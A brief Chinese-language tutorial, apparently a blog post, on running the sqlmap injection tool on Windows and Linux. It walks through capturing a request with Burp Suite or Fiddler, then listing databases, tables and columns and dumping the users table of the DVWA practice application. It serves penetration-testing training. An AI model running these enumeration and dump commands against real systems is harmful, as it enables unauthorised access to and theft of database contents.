sqlmap也是渗透中常用的一个注入工具，其实在注入工具方面，一个sqlmap就足够用了。现在支持python3了
windows使用
Windows10
Fiddler2
sqlmap
python3
1、利用Burpsuite或者Fiddler抓取数据包，命名为1.txt
2、将数据包放在sqlmap的文件夹下，运行python sqlmap.py -r 1.txt.某个参数python sqlmap.py -r 1.txt -p username
linux使用步骤
1、将抓取的数据包保存为文件[如:11]
url
2、运行sqlmap跑文件--->sqlmap -r 11 --dbs
sqlmap
注：
sqlmap.py -r 1.txt -p uname[-p:指定注入参数]
3、列举数据库表中的表--->sqlmap -r 11 --tables -D dvwa
tables
4、列举数据库表中的字段--->sqlmap -r 11 --columns -T users -D dvwa
columns
5、获取整个表的数据--->sqlmap -r 11 --dump -T users -D dvwa
dump
6、使用手册
网友评论